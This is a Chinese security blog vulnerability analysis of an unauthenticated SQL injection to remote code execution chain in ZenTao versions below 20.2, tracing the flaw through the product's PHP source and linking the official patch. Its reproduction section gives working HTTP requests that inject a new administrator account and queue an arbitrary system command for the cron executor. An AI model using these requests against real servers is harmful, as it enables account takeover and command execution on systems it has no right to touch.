禅道20.2版本以下SQL注入到RCE漏洞分析

admin 2025年1月30日02:42:53评论25 views字数 17771阅读59分14秒阅读模式

 

原文链接:https://forum.butian.net/article/649

作者:0aspir1ng0

0x1 漏洞简介

禅道20.2版本以下在个性化设置功能上存在一个未授权sql注入,这注入通过堆叠注入到数据库zt_config表中,将添加后台管理员到zt_user和注入命令执行的定时任务到zt_queue表中,最终实现未授权RCE的效果。

0x2 影响版本

18.0.beta1<=version<=18.13.stable 、

20.0.beta1<=version<20.2 、

17.0.beta1<=version<=17.8

以及16.5版本 受影响。

0x3 漏洞原理分析

3.1 my::preference()注入点

/zentao/module/my/control.php(my类)preference方法能够没有限制注入的key参数和参数值内容。loadModel('setting')表示加载/module/setting/model.php文件。

publicfunctionpreference(string$showTip = 'true'){$this->loadModel('setting');if($_POST)        {   //e.g. system.common.safe.changeweak//根据zt_config表??.common.?.?foreach($_POST as$key => $value) $this->setting->setItem("{$this->app->user->account}.common.$key", $value);$this->setting->setItem("{$this->app->user->account}.common.preferenceSetted", 1);return$this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'closeModal' => true));        }$this->view->title      = $this->lang->my->common . $this->lang->hyphen . $this->lang->my->preference;$this->view->showTip    = $showTip;$this->view->URSRList         = $this->loadModel('custom')->getURSRPairs();$this->view->URSR             = $this->setting->getURSR();$this->view->programLink      = isset($this->config->programLink)   ? $this->config->programLink   : 'program-browse';$this->view->productLink      = isset($this->config->productLink)   ? $this->config->productLink   : 'product-all';$this->view->projectLink      = isset($this->config->projectLink)   ? $this->config->projectLink   : 'project-browse';$this->view->executionLink    = isset($this->config->executionLink) ? $this->config->executionLink : 'execution-task';$this->view->preferenceSetted = isset($this->config->preferenceSetted) ? true : false;$this->display();    }

没有对$_POST过滤,循环遍历获取参数和参数值,其中参数当作key,参数值当作value,分别传入setting模块model.php(settingModel类)的setItem方法。

publicfunctionsetItem(string$path, mixed$value = ''): bool{$item = $this->parseItemPath($path);if(empty($item)) returnfalse;$item->value = strval($value);//value没有过滤,直接赋值。$this->dao->replace(TABLE_CONFIG)->data($item)->exec();return !dao::isError();    }

$item->value = strval($value);显示value没有过滤,直接赋值。而key会经过parseItemPath处理。$this->app->user从session获取,没登陆情况下$this->app->user->account为null。

publicfunctionparseItemPath(string$path): object|bool{        /* Determine vision of config item. */$pathVision = explode('@', $path);$vision     = isset($pathVision[1]) ? $pathVision[1] : '';$path       = $pathVision[0];        /* fix bug when account has dot. */$account = isset($this->app->user->account) ? $this->app->user->account : '';$replace = false;if($accountand strpos($path, $account) === 0)        {$replace = true;$path    = preg_replace("/^{$account}/", 'account', $path);        }$level   = substr_count($path, '.');//几层$section = '';if($level <= 1) returnfalse;if($level == 2) list($owner, $module, $key) = explode('.', $path);if($level == 3) list($owner, $module, $section, $key) = explode('.', $path);if($replace) $owner = $account;$item = newstdclass();$item->owner   = $owner;$item->module  = $module;$item->section = $section;$item->key     = $key;if(!empty($vision)) $item->vision = $vision;return$item;    }

配合setItem方法replace的TABLE_CONFIG(zt_config)格式可以查看到数据表的结构,由此可以得知parseItemPath处理{$this->app->user->account}.common.$key和value的过程。只能控制数据库中最后两列key和value,前面vison、owner和section均为空。

禅道20.2版本以下SQL注入到RCE漏洞分析

外部数据处理完毕后经过传入zentao/lib/dao/dao.class.php(Dao类)data()会转义单引号,后续跟进如下:

//zentao/lib/dao/dao.class.php[Dao::data()]publicfunctiondata($data, $skipFields = ''){global$app, $config;if(!is_object($data)) $data = (object)$data;if(get_class($data) == 'form') $data = $data->data;if(isset($config->bizVersion))        {$app->loadLang('workflow');$app->loadConfig('workflow');            /* Check current module is buildin workflow. */if(isset($config->workflow->buildin->modules))            {$currentModule = $app->fetchModule ?: $app->rawModule;foreach($config->workflow->buildin->modules as$appModules)                {if(!empty($appModules->$currentModule))                    {$currentMainTable = zget($appModules->$currentModule, 'table', '');break;                    }                }if(isset($currentMainTable))                {if($currentMainTable == $this->table)                    {$data = $this->processData($data);                    }else                    {$workflowFields = array();$stmt = $this->dbh->query("SELECT `field`,`type` FROM " . TABLE_WORKFLOWFIELD . " WHERE `module` = '{$currentModule}' AND `buildin` = '0'");while($row = $stmt->fetch())                        {$workflowFields[$row->field] = $row->type;                        }$fields = $this->getFieldsType();foreach($dataas$field => $value)                        {if(!isset($fields[$field]) && isset($workflowFields[$field])) unset($data->$field);                        }                    }                }            }        }$skipFields .= ',uid';returnparent::data($data, $skipFields);    }//zentao/lib/base/dao/dao.class.php[baseDao::data()]publicfunctiondata($data, $skipFields = ''){if(!is_object($data)) $data = (object)$data;if($this->autoLang and !isset($data->lang))        {$data->lang = $this->app->getClientLang();if(isset($this->app->config->cn2tw) and$this->app->config->cn2tw and$data->lang == 'zh-tw') $data->lang = 'zh-cn';if(defined('RUN_MODE') and RUN_MODE == 'front'and !empty($this->app->config->cn2tw)) $data->lang = str_replace('zh-tw', 'zh-cn', $data->lang);        }$this->sqlobj->data($data, $skipFields);return$this;    }//zentao/lib/base/dao/dao.class.php[baseSQL::data()]publicfunctiondata($data, $skipFields = ''){$data = (object) $data;if($skipFields) $this->skipFields = ',' . str_replace(' ', '', $skipFields) . ',';if($this->method != 'insert')        {foreach($dataas$field => $value)            {if(!preg_match('|^\w+$|', $field))                {unset($data->$field);continue;                }if(strpos($this->skipFields, ",$field,") !== false) continue;if($field == 'id'and$this->method == 'update') continue;     // primary key not allowed in dmdb.$this->sql .= "`$field` = " . $this->quote($value) . ',';            }        }$this->data = $data;$this->sql  = rtrim($this->sql, ',');    // Remove the last ','.return$this;    }

跟进quote()方法发现quote只会转义单引号,斜线和反斜线不会:

publicfunctionquote($value){if(is_null($value)) return'NULL';if($this->magicQuote) $value = stripslashes($value);return$this->dbh->quote((string)$value);    }

data处理完毕后就返回exec执行sql语句了,从而将外部数据保存到数据库zt_config中。

3.2 commonModel::loadConfigFromDB()router::setControlFile触发点

由于这是一个二次注入,因此找触发点第二步从漏洞原理出发:

代码逻辑从table_config获取数据,然后拼接到不论哪个表的where条件中,并且增删改查等sql语句**(不能经过链式操作函数,因此这些函数都会转义承接的数据过滤加入quotes)**。

查找思路要么找第一步table_config数据表获取数据select的*/value,要么找第二步直接拼接where条件的sql语句。

从第一步查找正则select[^rn]+_config搜索,结合zt_config表拥有的字段和注入点可排除的条件有:owner、section、vision为空、module为common、key和value可控可任意设置。

一共找到以下几处:

  • baseRouter::setVision()方法

该处$account可控,但是添加了validater::checkAccount($account),该处存在历史漏洞CNVD-2022-42853

禅道20.2版本以下SQL注入到RCE漏洞分析
  • settingModel::getSysAndPersonalConfig()方法
禅道20.2版本以下SQL注入到RCE漏洞分析

跟进发现该处符合要求,但是该函数内部只有获取zt_config数据,没有将获取的数据进行再次的sql语句操作,因此仅此不能完全触发。

禅道20.2版本以下SQL注入到RCE漏洞分析
publicfunctiongetSysAndPersonalConfig(string$account = ''): array{$owner   = 'system,' . ($account ? $account : '');$records = $this->dao->select('*')->from(TABLE_CONFIG)            ->where('owner')->in($owner)            ->beginIF(!$this->app->upgrading)->andWhere('vision')->in(array('', $this->config->vision))->fi()            ->orderBy('id')            ->fetchAll('id');if(!$records) returnarray();$vision = $this->config->vision;     /* Group records by owner and module. */$config = array();foreach($recordsas$record)        {if(!isset($config[$record->owner])) $config[$record->owner] = newstdclass();if(!isset($record->module)) returnarray();    // If no module field, return directly. Since 3.2 version, there's the module field.if(empty($record->module)) continue;            /* If it`s lite vision unset config requiredFields */if($vision == 'lite'and$record->key == 'requiredFields'and$record->vision == '') continue;$config[$record->owner]->{$record->module}[] = $record;        }return$config;    }

寻找调用settingModel::getSysAndPersonalConfig()方法的地方,完成触发。

禅道20.2版本以下SQL注入到RCE漏洞分析

只有一处commonModel::loadConfigFromDB()方法对其调用,其中$account刚好未登陆的情况下为空。

publicfunctionloadConfigFromDB(){        /* Get configs of system and current user. */$account = isset($this->app->user->account) ? $this->app->user->account : '';if($this->config->db->name) $config = $this->loadModel('setting')->getSysAndPersonalConfig($account);$this->config->system   = isset($config['system']) ? $config['system'] : array();$this->config->personal = isset($config[$account]) ? $config[$account] : array();//$config[""]$this->commonTao->updateDBWebRoot($this->config->system);        /* Override the items defined in config/config.php and config/my.php. */if(isset($this->config->system->common))   $this->app->mergeConfig($this->config->system->common, 'common');if(isset($this->config->personal->common)) $this->app->mergeConfig($this->config->personal->common, 'common');$this->config->disabledFeatures = $this->config->disabledFeatures . ',' . $this->config->closedFeatures;    }

从zt_config获取的数据return存储到$config,继续$config[$account]($config[""])传递给$this->config->personal->common(个人用户common配置),在第20行调用baseRouter::mergeConfig()操作。

publicfunctionmergeConfig(array$dbConfig, string$moduleName = 'common'){global$config;        /* 如果没有设置本模块配置,则首先进行初始化。Init the $config->$moduleNameif not set.*/if($moduleName != 'common'and !isset($config->$moduleName)) $config->$moduleName = newstdclass();$config2Merge = $config;if($moduleName != 'common') $config2Merge = $config->$moduleName;foreach($dbConfigas$item)        {if($item->section)            {if(!isset($config2Merge->{$item->section})) $config2Merge->{$item->section} = newstdclass();if(is_object($config2Merge->{$item->section}))                {$config2Merge->{$item->section}->{$item->key} = $item->value;                }            }else            {$config2Merge->{$item->key} = $item->value; // 根据代码逻辑得知,从数据库的配置存储到            }        }    }

$config2Merge承接代码中全局变量$config原本值,然后再添加数据库的common配置。

寻找调用commonModel::loadConfigFromDB()的地方:

禅道20.2版本以下SQL注入到RCE漏洞分析

其中有一个在同类下setUserConfig()有调用,该类在路由分析中知道是禅道整体路由默认会访问加载的,所以该方法只要访问任何路由都会有获取数据库config。但这里还没有找到将获取的数据存到sql操作中,直接根据第二步触发的正则['"][^rn>]+where[^rn]+$查找。

首先在module和framework目录中查找:

禅道20.2版本以下SQL注入到RCE漏洞分析

router::setControlFile()在if else分支里面$this->config->vision直接拼接zt_workflowaction。刚好$this->config->vision可以经过数据库commonModel::loadConfigFromDB()覆盖到代码config中。为了能进入if else分支,$this->config->edition默认是open(在config/config.php可以查看开源版本是这样,旗舰版或商业版则不存在是这个问题),需要通过注入点覆盖。同时$this->moduleName需要从zt_workflowaction选任意一个存在的module即可,method调用方法任意写,但是不能写browselabel

publicfunctionsetControlFile($exitIfNone = true){        /* Set raw module and method name for fetch control. */if(empty($this->rawModule)) $this->rawModule = $this->moduleName;if(empty($this->rawMethod)) $this->rawMethod = $this->methodName;        /* If is not a biz version or is in install mode or in in upgrade mode, call parent method. */if($this->config->edition == 'open'or$this->installing or$this->upgrading) returnparent::setControlFile($exitIfNone);        /* Check if the requested module is defined in workflow. */$flow = $this->dbQuery("SELECT * FROM " . TABLE_WORKFLOW . " WHERE `module` = '$this->moduleName'")->fetch();if(!$flow) returnparent::setControlFile($exitIfNone);if($flow->status != 'normal') helper::end("<html><head><meta charset='utf-8'></head><body>{$this->lang->flowNotRelease}</body></html>");if($flow->buildin && $this->methodName == 'browselabel')        {$this->rawModule = $this->moduleName;$this->rawMethod = 'browse';$this->isFlow    = true;$moduleName = 'flow';$methodName = 'browse';$this->setFlowURI($moduleName, $methodName);        }else        {$action = $this->dbQuery("SELECT * FROM " . TABLE_WORKFLOWACTION . " WHERE `module` = '$this->moduleName' AND `action` = '$this->methodName' AND `vision` = '{$this->config->vision}'")->fetch();if(zget($action, 'extensionType') == 'override')            {$this->rawModule = $this->moduleName;$this->rawMethod = $this->methodName;$this->isFlow    = true;$this->loadModuleConfig('workflowaction');$moduleName = 'flow';$methodName = $this->methodName;if(!in_array($this->methodName, $this->config->workflowaction->default->actions))                {if($action->type == 'single') $methodName = 'operate';if($action->type == 'batch')  $methodName = 'batchOperate';                }$this->setFlowURI($moduleName, $methodName);            }        }returnparent::setControlFile($exitIfNone);    }

触发点涉及到禅道路由,这部分需要结合禅道路由整体分析理解。

3.3 定时任务后台RCE

cron::ajaxExec()是执行定时任务的方法,$this->config->global->cron默认从zt_config可以看到设置为1。访问该方法需要在applyExecRoles()判断当前用户是否有权限执行定时任务、判断当前时间是否大于上次执行任务的时间,否则不能执行任务。

publicfunctionajaxExec(bool$restart = false){if(empty($this->config->global->cron)) return; //默认不为空        /* Run as daemon. */        ignore_user_abort(true);        set_time_limit(0);        session_write_close();$execId = mt_rand();if($restart) $this->cron->restartCron($execId);while(true)        {            /* Only one scheduler and max 4 consumers. */$roles = $this->applyExecRoles($execId);//检测当前是否可以执行定时任务,内部逻辑是判断当前时间是否过了上一次已经执行过的时间。if(empty($roles))            {                ignore_user_abort(false);return;            }if(in_array('scheduler', $roles)) $this->schedule($execId);//根据该方法注释为调度生成队列任务的方法if(in_array('consumer', $roles))  $this->consumeTasks($execId);//根据注释为执行所有定时任务的方法            sleep(20);        }    }

跟进执行定时任务的方法consumeTasks():

publicfunctionconsumeTasks(int$execId){while(true)        {$this->cron->updateTime('consumer', $execId);        /* Consume. */$task = $this->dao->select('*')->from(TABLE_QUEUE)->where('status')->eq('wait')->andWhere('command')->ne('')->orderBy('createdDate')->fetch();if(!$task) break;$this->consumeTask($execId, $task);        }    }

查询TABLE_QUEUE(zt_queue)表中需要执行的任务的命令有哪些。结合代码,如下所示status为wait并且命令不为空的任务则需要执行。每次执行完成后会在consumeTask方法更新zt_queue表的execIdstatuslastTime,方便下一次任务执行的对比。

禅道20.2版本以下SQL注入到RCE漏洞分析

更新完毕后,将执行任务的结果不管如何(只要没有被catch)都记录到日志中,通过cronModel::logCron()方法

publicfunctionconsumeTask(int$execId, object$task){        /* Other executor may execute the task at the same time,so we mark execId and wait 500ms to check whether we own it. */$this->dao->update(TABLE_QUEUE)->set('status')->eq('doing')->set('execId')->eq($execId)->where('id')->eq($task->id)->exec();        usleep(500);$task = $this->dao->select('*')->from(TABLE_QUEUE)->where('id')->eq($task->id)->fetch();if($task->execId != $execId) return;     /* Execution command. */$output = '';$return = '';unset($_SESSION['company']);unset($this->app->company);$this->loadModel('common');$this->common->setCompany();$this->common->loadConfigFromDB();try        {if($task->type == 'zentao')            {                parse_str($task->command, $params);if(isset($params['moduleName']) andisset($params['methodName']))                {$this->viewType = 'html';$this->app->loadLang($params['moduleName']);$this->app->loadConfig($params['moduleName']);$output = $this->fetch($params['moduleName'], $params['methodName']);                }            }elseif($task->type == 'system')            {                exec($task->command, $out, $return);if($out) $output = implode(PHP_EOL, $out);            }        }catch(EndResponseException $endResponseException)        {$output = $endResponseException->getContent();        }catch(Exception$e)        {$output = $e;        }$this->dao->update(TABLE_QUEUE)->set('status')->eq('done')->where('id')->eq($task->id)->exec();$this->dao->update(TABLE_CRON)->set('lastTime')->eq(date(DT_DATETIME1))->where('id')->eq($task->cron)->exec();$log = date('G:i:s') . " execute\ncronId: {$task->cron}\nexecId: $execId\ntaskId: {$task->id}\ncommand: {$task->command}\nreturn : $return\noutput : $output\n\n";$this->cron->logCron($log);returntrue;    }

日志文件名为cron.记录日期.log.php,日志统一路径为zentao/tmp/log/

publicfunctionlogCron(string$log){if(!is_writable($this->app->getLogRoot())) returnfalse;$runMode = PHP_SAPI == 'cli' ? '_cli' : '';$file = $this->app->getLogRoot() . "cron$runMode." . date('Ymd') . '.log.php';if(!is_file($file)) $log = "<?php\n die();\n" . $log;$fp = fopen($file, "a");        fwrite($fp, $log);        fclose($fp);    }
0x4 漏洞复现

4.1 突破权限

根据漏洞分析得知这个二次注入,能够执行堆叠注入,再加上是个未授权SQL注入,利用该注入可添加管理员突破权限。

添加管理员用户模版payload参照zt_user用户表中admin原始用户:insert into zt_user(type,account,password,realname,pinyin)+value('inside','xxx','MD5 32位hash','xxx','xxxxx');

通过以下数据包能够添加成功账户bbba/123456:

POST/zentao/my-preference.htmlHTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestAccept: */*Origin: http://x.x.x.xReferer: http://x.x.x.xAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie:  lang=zh-cn; device=desktop; theme=default;Connection: closeContent-Length: 274edition=1&vision=1';insert+into+zt_user(type,account,password,realname,pinyin)+value('inside','bbba','e10adc3949ba59abbe56e057f20f883e','bbba','bbba+b');#/../../open/rnd

触发路由请求类只要是zt_workflow表中存在的module即可,请求的method方法随便写即可(除去“browselabel”以外)。

查看zt_workflow:

禅道20.2版本以下SQL注入到RCE漏洞分析

选用第一个product触发。

GET/zentao/project-method.htmlHTTP/1.1Host: x.x.x.xCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://x.x.x.xAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie:  lang=zh-cn; device=desktop; theme=default; hideMenu=false; vision=rnd; tab=my;Connection: close

触发成功后响应302,无响应体(使用浏览器的hackbar请求因为具体的方法随便写,可能会报找不到路由的错,开启了config/my.php的debug,会抛出异常和程序栈):

禅道20.2版本以下SQL注入到RCE漏洞分析

新添加的用户首次登录需要修改原始密码。

4.2 定时任务RCE

同样通过上述堆叠注入注入zt_queue执行whoami的payload的sql注入:INSERT+INTO+zt_queue(type,command,cron,createdDate,execId)+value('system','whoami',30,CURRENT_TIME(),123);

注入成功后,查看zt_queue表:

禅道20.2版本以下SQL注入到RCE漏洞分析
GET/zentao/cron-ajaxExec.htmlHTTP/1.1Host: x.x.x.xPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://x.x.x.xAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: zentaosid=b5ee0caeb63360a394258d068759bad4; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=myConnection: close

触发成功响应302:

禅道20.2版本以下SQL注入到RCE漏洞分析

命令执行结果在appzentaotmplog目录下日志文件cron.日期.log.php可以查看:

e.g. 在cron.20241125.log.php能查看到结果。 禅道20.2版本以下SQL注入到RCE漏洞分析

0x5 官方补丁

禅道在补丁页面发布该漏洞的修复:https://www.zentao.net/extension-viewext-6.html

禅道20.2版本以下SQL注入到RCE漏洞分析

原文始发于微信公众号(神农Sec):禅道20.2版本以下SQL注入到RCE漏洞分析

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月30日02:42:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   禅道20.2版本以下SQL注入到RCE漏洞分析https://cn-sec.com/archives/3664621.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息